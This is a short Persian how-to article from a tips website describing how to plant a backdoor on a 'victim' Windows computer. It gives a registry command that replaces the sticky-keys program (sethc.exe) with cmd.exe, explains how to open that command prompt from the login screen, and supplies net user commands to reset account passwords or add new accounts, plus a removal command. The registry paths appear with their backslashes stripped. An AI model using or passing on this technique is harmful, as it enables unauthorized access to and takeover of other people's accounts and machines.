ایجاد یک راه مخفی در سیستم قربانی به منظور تغییر رمز عبور و ورود به ویندوز

بدین منظور:
ابتدا (ترفندستان) درمحیط ویندوز کلیدهای ترکیبی Win+R را فشار دهید.
در پنجره‌ی Run عبارت cmd را وارد کرده و Enter بزنید.
پس از باز شدن پنجره‌ی Command Prompt دستور زیر را وارد کرده و Enter بزنید:

REG ADD “HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe” /v Debugger /t REG_SZ /d “C:windowssystem32cmd.exe”

نمایش پیغام The operation completed successfully به معنای موفقیت‌آمیز بودن کار است.
اکنون کافی است از حساب کاربری Log Off کنید و در صفحه‌ی ورود به حساب‌های کاربری ویندوز یا همان صفحه‌ی Lock، کلید Shift را ۵ بار پشت هم فشار دهید و یا کلیدهای ترکیبی Alt+Shift+PrintScreen را وارد کنید.
خواهید دید که با این کار پنجره‌ی CMD نمایان می‌شود.
اکنون (ترفندستان) می‌توانید کارهای دلخواه خود با CMD نظیر اجرای برنامه‌های مختلف، تغییر رمز عبور یک حساب کاربری یا ساخت یک حساب کاربری جدید را انجام دهید.
به عنوان مثال با وارد کردن عبارت taskmgr به Task Manager دسترسی خواهید داشت.
و یا با وارد کردن دستور زیر می‌توانید رمز عبور یک حساب کاربری را تغییر دهید:

net user user_name new_password

همچنین با دستور زیر می‌توان یک حساب کاربری جدید ایجاد کرد:

net user user_name password /add

در این دستورات به جای user_name نام حساب کاربری مورد نظر و به جای new_password رمز عبور مد نظر خود را قرار دهید.

برای پاک کردن این Backdoor نیز می‌توانید از این دستور در محیط CMD استفاده کنید:

REG DELETE “HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe”

سطح ترفند: پیشرفته
در صورت داشتن سوال و یا مشکل پیرامون این ترفند، می‌توانید آن را در انجمن‌های تخصصی ترفندستان مطرح کنید.
منبع ترفند: وب سایت ترفندستان
به پاس حرمت قلم و اندیشه، در صورت ذکر این ترفند منبع آن را نیز ذکر کنید. استفاده از این ترفند تنها با ذکر نام وب سایت ترفندستان مجاز است.
لینک مستقیم ترفند:

http://www.tarfandestan.com/1391/08/19/backdoor-to-reset-administrator-password-or-add-new-user.html